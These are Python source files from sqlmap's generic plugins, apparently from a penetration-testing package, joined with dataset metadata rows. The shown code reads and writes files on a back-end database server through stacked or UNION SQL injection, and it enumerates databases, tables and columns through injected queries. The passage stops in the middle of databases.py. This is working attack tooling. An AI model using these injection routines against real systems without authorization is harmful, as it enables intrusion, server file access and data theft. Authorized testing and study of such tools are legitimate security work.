plugin" raise SqlmapUndefinedMethod(errMsg) def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "'stackedWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def readFile(self, remoteFiles): localFilePaths = [] self.checkDbmsOs() for remoteFile in remoteFiles.split(","): fileContent = None kb.fileReadMode = True if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to read the file with stacked query SQL " debugMsg += "injection technique" logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "going to read the file with a non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) fileContent = self.nonStackedReadFile(remoteFile) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to read files from the underlying file " errMsg += "system of the back-end %s server" % Backend.getDbms() logger.error(errMsg) fileContent = None kb.fileReadMode = False if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) elif isListLike(fileContent): newFileContent = "" for chunk in fileContent: if isListLike(chunk): if len(chunk) > 0: chunk = chunk[0] else: chunk = "" if chunk: newFileContent += chunk fileContent = newFileContent if fileContent is not None: fileContent = decodeHexValue(fileContent) if fileContent: localFilePath = dataToOutFile(remoteFile, fileContent) if not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) sameFile = self.askCheckReadFile(localFilePath, remoteFile) if sameFile is True: localFilePath += " (same file)" elif sameFile is False: localFilePath += " (size differs from remote file)" localFilePaths.append(localFilePath) else: errMsg = "no data retrieved" logger.error(errMsg) return localFilePaths def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): written = False self.checkDbmsOs() if localFile.endswith('_'): localFile = decloakToTemp(localFile) if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to upload the %s file with " % fileType debugMsg += "stacked query SQL injection technique" logger.debug(debugMsg) written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): debugMsg = "going to upload the %s file with " % fileType debugMsg += "UNION query SQL injection technique" logger.debug(debugMsg) written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " errMsg += "system of the back-end %s server" % Backend.getDbms() logger.error(errMsg) return None return written
10,842
Python
.py
220
36.872727
207
0.605059
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,166
connector.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUndefinedMethod class Connector: """ This class defines generic dbms protocol functionalities for plugins. """ def __init__(self): self.connector = None self.cursor = None def initConnection(self): self.user = conf.dbmsUser self.password = conf.dbmsPass if conf.dbmsPass is not None else "" self.hostname = conf.hostname self.port = conf.port self.db = conf.dbmsDb def printConnected(self): infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) infoMsg += ":%d established" % self.port logger.info(infoMsg) def closed(self): infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) infoMsg += ":%d closed" % self.port logger.info(infoMsg) self.connector = None self.cursor = None def initCursor(self): self.cursor = self.connector.cursor() def close(self): try: if self.cursor: self.cursor.close() if self.connector: self.connector.close() except Exception, msg: logger.debug(msg) finally: self.closed() def checkFileDb(self): if not os.path.exists(self.db): errMsg = "the provided database file '%s' does not exist" % self.db raise SqlmapFilePathException(errMsg) def connect(self): errMsg = "'connect' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def fetchall(self): errMsg = "'fetchall' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def execute(self, query): errMsg = "'execute' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def select(self, query): errMsg = "'select' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg)
2,413
Python
.py
65
29.476923
79
0.644511
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,167
search.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/search.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX from lib.request import inject from lib.techniques.brute.use import columnExists from lib.techniques.brute.use import tableExists class Search: """ This class defines search functionalities for plugins. """ def __init__(self): pass def searchDb(self): foundDbs = [] rootQuery = queries[Backend.getIdentifiedDbms()].search_db dbList = conf.db.split(",") if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: dbCond = rootQuery.inband.condition2 else: dbCond = rootQuery.inband.condition dbConsider, dbCondParam = self.likeOrExact("database") for db in dbList: values = [] db = safeSQLIdentificatorNaming(db) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): db = db.upper() infoMsg = "searching database" if dbConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if conf.excludeSysDbs: exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg) else: exclDbsQuery = "" dbQuery = "%s%s" % (dbCond, dbCondParam) dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query query = query % (dbQuery + exclDbsQuery) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = arrayizeValue(values) for value in values: value = safeSQLIdentificatorNaming(value) foundDbs.append(value) if not values and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database" if dbConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count query = query % (dbQuery + exclDbsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no database" if dbConsider == "1": warnMsg += "s like" warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 else: query = rootQuery.blind.query query = query % (dbQuery + exclDbsQuery) query = agent.limitQuery(index, query, dbCond) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) value = safeSQLIdentificatorNaming(value) foundDbs.append(value) conf.dumper.lister("found databases", foundDbs) def searchTable(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: regex = "|".join(conf.tbl.split(",")) return tableExists(paths.COMMON_TABLES, regex) foundTbls = {} tblList = conf.tbl.split(",") rootQuery = queries[Backend.getIdentifiedDbms()].search_table tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblConsider, tblCondParam = self.likeOrExact("table") for tbl in tblList: values = [] tbl = safeSQLIdentificatorNaming(tbl, True) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD): tbl = tbl.upper() infoMsg = "searching table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) if dbCond and conf.db and conf.db != CURRENT_DB: _ = conf.db.split(",") whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg2) else: whereDbsQuery = "" logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query query = query % (tblQuery + whereDbsQuery) values = inject.getValue(query, blind=False, time=False) if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): newValues = [] if isinstance(values, basestring): values = [values] for value in values: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value]) values = newValues for foundDb, foundTbl in filterPairValues(values): foundDb = safeSQLIdentificatorNaming(foundDb) foundTbl = safeSQLIdentificatorNaming(foundTbl, True) if foundDb is None or foundTbl is None: continue if foundDb in foundTbls: foundTbls[foundDb].append(foundTbl) else: foundTbls[foundDb] = [foundTbl] if not values and isInferenceAvailable() and not conf.direct: if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): if len(whereDbsQuery) == 0: infoMsg = "fetching number of databases with table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) query = rootQuery.blind.count query = query % (tblQuery + whereDbsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no databases have table" if tblConsider == "1": warnMsg += "s like" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (tblQuery + whereDbsQuery) query = agent.limitQuery(index, query) foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False)) foundDb = safeSQLIdentificatorNaming(foundDb) if foundDb not in foundTbls: foundTbls[foundDb] = [] if tblConsider == "2": foundTbls[foundDb].append(tbl) if tblConsider == "2": continue else: for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundTbls: foundTbls[db] = [] else: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % tblQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query2 if query.endswith("'%s')"): query = query[:-1] + " AND %s)" % tblQuery else: query += " AND %s" % tblQuery if Backend.isDbms(DBMS.FIREBIRD): query = safeStringFormat(query, index) if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) if not Backend.isDbms(DBMS.FIREBIRD): query = agent.limitQuery(index, query) foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(foundTbl): kb.hintValue = foundTbl foundTbl = safeSQLIdentificatorNaming(foundTbl, True) foundTbls[db].append(foundTbl) for db in foundTbls.keys(): if isNoneValue(foundTbls[db]): del foundTbls[db] if not foundTbls: warnMsg = "no databases contain any of the provided tables" logger.warn(warnMsg) return conf.dumper.dbTables(foundTbls) self.dumpFoundTables(foundTbls) def searchColumn(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: regex = '|'.join(conf.col.split(',')) conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) message = "do you want to dump entries? [Y/n] " output = readInput(message, default="Y") if output and output[0] not in ("n", "N"): self.dumpAll() return rootQuery = queries[Backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {} whereDbsQuery = "" whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(",") if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblCond = rootQuery.inband.condition3 colConsider, colCondParam = self.likeOrExact("column") for column in colList: values = [] column = safeSQLIdentificatorNaming(column) conf.db = origDb conf.tbl = origTbl if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): column = column.upper() infoMsg = "searching column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) foundCols[column] = {} if conf.tbl: _ = conf.tbl.split(",") whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _)) if conf.db and conf.db != CURRENT_DB: _ = conf.db.split(",") whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg2) else: infoMsgDb = " across all databases" logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if not all((conf.db, conf.tbl)): # Enumerate tables containing the column provided if # either of database(s) or table(s) is not provided query = rootQuery.inband.query query = query % (colQuery + whereDbsQuery + whereTblsQuery) values = inject.getValue(query, blind=False, time=False) else: # Assume provided databases' tables contain the # column(s) provided values = [] for db in conf.db.split(","): for tbl in conf.tbl.split(","): values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)]) for db, tbl in filterPairValues(values): db = safeSQLIdentificatorNaming(db) tbls = tbl.split(",") if not isNoneValue(tbl) else [] for tbl in tbls: tbl = safeSQLIdentificatorNaming(tbl, True) if db is None or tbl is None: continue conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: if db not in dbs: dbs[db] = {} if tbl not in dbs[db]: dbs[db][tbl] = {} dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) if db in foundCols[column]: foundCols[column][db].append(tbl) else: foundCols[column][db] = [tbl] kb.data.cachedColumns = {} if not values and isInferenceAvailable() and not conf.direct: if not conf.db: infoMsg = "fetching number of databases with tables containing column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) query = rootQuery.blind.count query = query % (colQuery + whereDbsQuery + whereTblsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no databases have tables containing column" if colConsider == "1": warnMsg += "s like" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.warn("%s%s" % (warnMsg, infoMsgTbl)) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (colQuery + whereDbsQuery + whereTblsQuery) query = agent.limitQuery(index, query) db = unArrayizeValue(inject.getValue(query, union=False, error=False)) db = safeSQLIdentificatorNaming(db) if db not in dbs: dbs[db] = {} if db not in foundCols[column]: foundCols[column][db] = [] else: for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundCols[column]: foundCols[column][db] = [] origDb = conf.db origTbl = conf.tbl for column, dbData in foundCols.items(): colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in dbData: conf.db = origDb conf.tbl = origTbl infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % colQuery query += whereTblsQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query2 if query.endswith("'%s')"): query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery) else: query += " AND %s" % (colQuery + whereTblsQuery) query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) query = agent.limitQuery(index, query) tbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: if db not in dbs: dbs[db] = {} if tbl not in dbs[db]: dbs[db][tbl] = {} dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} if db in foundCols[column]: foundCols[column][db].append(tbl) else: foundCols[column][db] = [tbl] if dbs: conf.dumper.dbColumns(foundCols, colConsider, dbs) self.dumpFoundColumn(dbs, foundCols, colConsider) else: warnMsg = "no databases have tables containing any of the " warnMsg += "provided columns" logger.warn(warnMsg) def search(self): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): for item in ('db', 'tbl', 'col'): if getattr(conf, item, None): setattr(conf, item, getattr(conf, item).upper()) if conf.col: self.searchColumn() elif conf.tbl: self.searchTable() elif conf.db: self.searchDb() else: errMsg = "missing parameter, provide -D, -T or -C along " errMsg += "with --search" raise SqlmapMissingMandatoryOptionException(errMsg)
26,303
Python
.py
472
37.332627
183
0.524847
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,168
databases.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/databases.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import flattenValue from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parseSqliteTableSchema from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.dicts import FIREBIRD_TYPES from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.request import inject from lib.techniques.brute.use import columnExists from lib.techniques.brute.use import tableExists class Databases: """ This class defines databases' enumeration functionalities for plugins. """ def __init__(self): kb.data.currentDb = "" kb.data.cachedDbs = [] kb.data.cachedTables = {} kb.data.cachedColumns = {} kb.data.cachedCounts = {} kb.data.dumpedTable = {} def getCurrentDb(self): infoMsg = "fetching current database" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].current_db.query if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" singleTimeWarnMessage(warnMsg) return kb.data.currentDb def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = None if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" logger.warn(warnMsg) infoMsg = "fetching database (schema) names" else: infoMsg = "fetching database names" if infoMsg: logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].dbs if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedDbs = arrayizeValue(values) if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of databases" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) else: plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index db = unArrayizeValue(inject.getValue(query, union=False, error=False)) if db: kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db)) if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = (False, True) else: blinds = (True,) for blind in blinds: count = 0 kb.data.cachedDbs = [] while True: query = rootQuery.inband.query2 % count value = unArrayizeValue(inject.getValue(query, blind=blind)) if not (value or "").strip(): break else: kb.data.cachedDbs.append(value) count += 1 if kb.data.cachedDbs: break if not kb.data.cachedDbs: infoMsg = "falling back to current database" logger.info(infoMsg) self.getCurrentDb() if kb.data.currentDb: kb.data.cachedDbs = [kb.data.currentDb] else: errMsg = "unable to retrieve the database names" raise SqlmapNoneDataException(errMsg) else: kb.data.cachedDbs.sort() if kb.data.cachedDbs: kb.data.cachedDbs = filter(None, list(set(flattenValue(kb.data.cachedDbs)))) return kb.data.cachedDbs def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): try: tables = self.getTables(False) except SqlmapNoneDataException: tables = None if not tables: errMsg = "cannot retrieve table names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True else: return tables if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if conf.db: dbs = conf.db.split(",") else: dbs = self.getDbs() dbs = [_ for _ in dbs if _ and _.strip()] for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) if bruteForce: resumeAvailable = False for db, table in kb.brute.tables: if db == conf.db: resumeAvailable = True break if resumeAvailable and not conf.freshQueries: for db, table in kb.brute.tables: if db == conf.db: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [table] else: kb.data.cachedTables[conf.db].append(table) return kb.data.cachedTables message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return tableExists(paths.COMMON_TABLES) infoMsg = "fetching tables for database" infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].tables if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None if condition: if not Backend.isDbms(DBMS.SQLITE): query += " WHERE %s" % condition if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) else: query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) if len(dbs) < 2 and ("%s," % condition) in query: query = query.replace("%s," % condition, "", 1) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = filter(None, 